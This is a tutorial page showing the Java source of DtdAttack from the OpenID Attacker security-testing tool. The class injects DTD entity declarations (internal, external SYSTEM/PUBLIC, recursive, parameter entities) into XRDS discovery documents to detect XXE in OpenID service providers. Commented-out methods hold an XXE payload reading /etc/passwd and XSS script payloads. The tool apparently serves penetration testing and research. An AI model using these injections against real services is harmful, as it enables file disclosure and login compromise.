wsattacker.sso.openid.attacker.evaluation.attack.DtdAttack.java Source code

Java tutorial

Introduction

Here is the source code for wsattacker.sso.openid.attacker.evaluation.attack.DtdAttack.java

Source

/*
 * OpenID Attacker
 * (C) 2015 Christian Mainka & Christian Komann
 *
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 *
 * You should have received a copy of the GNU General Public License along with
 * this program; if not, write to the Free Software Foundation, Inc., 51
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */
package wsattacker.sso.openid.attacker.evaluation.attack;

import org.apache.commons.lang3.SerializationUtils;
import wsattacker.sso.openid.attacker.discovery.html.HtmlDiscoveryConfiguration;
import wsattacker.sso.openid.attacker.evaluation.LoginResult;
import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation;
import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result;

public class DtdAttack extends AbstractAttack {

    private String xrdsDocument;
    private final String urlIdp;
    private HtmlDiscoveryConfiguration htmlConfigCopy;

    public DtdAttack(ServiceProvider serviceProvider) {
        super(serviceProvider);

        // get URL of IdP
        urlIdp = serverController.getAttackerConfig().getHtmlConfiguration().getBaseUrl();
    }

    public String addPathToUrl(String path, String url) {
        // is the last character of url a slash?
        if (url.substring(url.length() - 1).equals("/")) {
            return url + path;
        }

        return url + "/" + path;
    }

    @Override
    protected void beforeAttack() {
        super.beforeAttack();

        // save XRDS document
        xrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();

        // save HTML discovery by serialization
        HtmlDiscoveryConfiguration htmlConfig = serverController.getConfig().getHtmlConfiguration();
        htmlConfigCopy = SerializationUtils.clone(htmlConfig);

        // disable HTML discovery
        htmlConfig.setIncludeIdentity(false);
        htmlConfig.setOpenidServer(false);
        htmlConfig.setOpenId2Provider(false);
    }

    @Override
    protected void afterAttack() {
        super.afterAttack();

        // restore XRDS document
        serverController.getConfig().getXrdsConfiguration().setXml(xrdsDocument);

        // reset HTML Discovery information
        serverController.getConfig().setHtmlConfiguration(htmlConfigCopy);
    }

    @Attack(number = 0)
    private AttackResult performEntitiesAllowedAttack() {
        String doctypeDeclaration = String.format("<!DOCTYPE XRDS [\n" + "  <!ENTITY url '%s'>\n" + "]>\n\n",
                addPathToUrl("xxe", urlIdp));

        String baseUrl = serverController.getConfig().getXrdsConfiguration().getBaseUrl();

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&url;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.RESTRICTED;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("Entities allowed?", loginResult, result, interpretation);
    }

    @Attack(number = 2)
    private AttackResult performExternalSystemEntitiesAllowed() {
        String doctypeDeclaration = String.format("<!DOCTYPE XRDS [\n" + "  <!ENTITY url SYSTEM '%s'>\n" + "]>\n\n",
                addPathToUrl("xxe", urlIdp));

        String baseUrl = serverController.getConfig().getXrdsConfiguration().getBaseUrl();

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&url;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.CRITICAL;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("External Entities allowed (SYSTEM)?", loginResult, result, interpretation);
    }

    @Attack(number = 3)
    private AttackResult performExternalPublicEntitiesAllowed() {
        String doctypeDeclaration = String.format(
                "<!DOCTYPE XRDS [\n" + "  <!ENTITY url PUBLIC 'm' '%s'>\n" + "]>\n\n", addPathToUrl("xxe", urlIdp));

        String baseUrl = serverController.getConfig().getXrdsConfiguration().getBaseUrl();

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&url;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.CRITICAL;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("External Entities allowed (PUBLIC)?", loginResult, result, interpretation);
    }

    @Attack(number = 1)
    private AttackResult performRecursiveEntitesAllowed() {
        String doctypeDeclaration = String
                .format("<!DOCTYPE XRDS [\n" + "  <!ENTITY url1 \"http://my-idp.xyz/x\">\n"
                        + "  <!ENTITY url2 \"xe\">\n" + "  <!ENTITY url3 \"&url1;&url2;\">\n" + "]>\n\n");//, urlIdp + "/x", "xe");

        String baseUrl = serverController.getConfig().getXrdsConfiguration().getBaseUrl();

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&url3;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.CRITICAL;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("Recursive Entities allowed?", loginResult, result, interpretation);
    }

    @Attack(number = 4)
    private AttackResult performSystemParameterEntitesAllowed() {
        String doctypeDeclaration = "<!DOCTYPE XRDS [\n" + "  <!ENTITY % dtd SYSTEM \""
                + addPathToUrl("xxe", urlIdp) + "\">\n" + "%dtd;]>\n\n";

        String baseUrl = serverController.getConfig().getXrdsConfiguration().getBaseUrl();

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        //currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&urlIdp3;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.CRITICAL;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("Parameter Entities (SYSTEM) allowed?", loginResult, result, interpretation);
    }

    @Attack(number = 5)
    private AttackResult performPublicParameterEntitesAllowed() {
        String doctypeDeclaration = "<!DOCTYPE XRDS [\n" + "  <!ENTITY % dtd PUBLIC 'm' \""
                + addPathToUrl("xxe", urlIdp) + "\">\n" + "%dtd;]>\n\n";

        String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
        //currentXrdsDocument = currentXrdsDocument.replace(baseUrl, "&urlIdp3;");
        currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
        serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);

        LoginResult loginResult = serviceProvider.login(User.ATTACKER_RANDOM);

        Result result;
        Interpretation interpretation;

        if (loginResult.hasXxe()) {
            result = Result.SUCCESS;
            interpretation = Interpretation.CRITICAL;
        } else {
            result = Result.FAILURE;
            interpretation = Interpretation.PREVENTED;
        }

        if (!loginResult.hasXrdsDiscovery()) {
            result = Result.NOT_DETECTABLE;
            interpretation = Interpretation.NEUTRAL;
        }

        return new AttackResult("Parameter Entities (PUBLIC) allowed?", loginResult, result, interpretation);
    }

    /*@Attack(number = 5)
    private AttackResult performXxe() {
    String doctypeDeclaration = "<!DOCTYPE XRDS [\n" +
            "  <!ENTITY xxe SYSTEM '/etc/passwd'>\n" +
            "]>\n\n";
        
    serverController.getConfig().getXrdsConfiguration().setIncludeIdentity(true);
    serverController.getConfig().getXrdsConfiguration().setIdentity("xxx");
        
    String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
    currentXrdsDocument = currentXrdsDocument.replace("xxx", "&xxe;");
    currentXrdsDocument = doctypeDeclaration + currentXrdsDocument;
    serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);
        
    System.out.println(currentXrdsDocument);
        
    LoginResult loginResult = serviceProvider.login(User.ATTACKER);
        
    return new AttackResult("xxe", loginResult, Result.SUCCESS, Interpretation.CRITICAL);
    }*/

    /*@Attack(number = 6)
    private AttackResult performXss() {
        
    AttackParameter claimedIdParameter = keeper.getParameter("openid.sreg.nickname");
    claimedIdParameter.setAttackValueUsedForSignatureComputation(true);
    claimedIdParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
    claimedIdParameter.setAttackMethod(HttpMethod.GET);
    claimedIdParameter.setAttackValue("<script>alert('1');</script>");
        
    // include modified parameter in signature
    AttackParameter sigParameter = keeper.getParameter("openid.sig");
    sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
    sigParameter.setAttackMethod(HttpMethod.GET);
        
    LoginResult loginResult = serviceProvider.loginAndDetermineAuthenticatedUser(ServiceProvider.User.RANDOM);
        
    assert isSignatureValid(loginResult) : "Signature is not valid!";
        
    return new AttackResult("xss", loginResult, Result.SUCCESS, Interpretation.CRITICAL);
    }*/

    /*@Attack(number = 6)
    private AttackResult performXXS() {        
    serverController.getConfig().getXrdsConfiguration().setIncludeIdentity(true);
    serverController.getConfig().getXrdsConfiguration().setIdentity("xxx");
        
    String currentXrdsDocument = serverController.getConfig().getXrdsConfiguration().getXml();
    currentXrdsDocument = currentXrdsDocument.replace("xxx", "<script>alert('1')</script>");
    serverController.getConfig().getXrdsConfiguration().setXml(currentXrdsDocument);
        
    System.out.println(currentXrdsDocument);
        
    LoginResult loginResult = serviceProvider.login(User.ATTACKER);
        
    return new AttackResult("xxe", loginResult, Result.SUCCESS, Interpretation.CRITICAL);
    }*/
}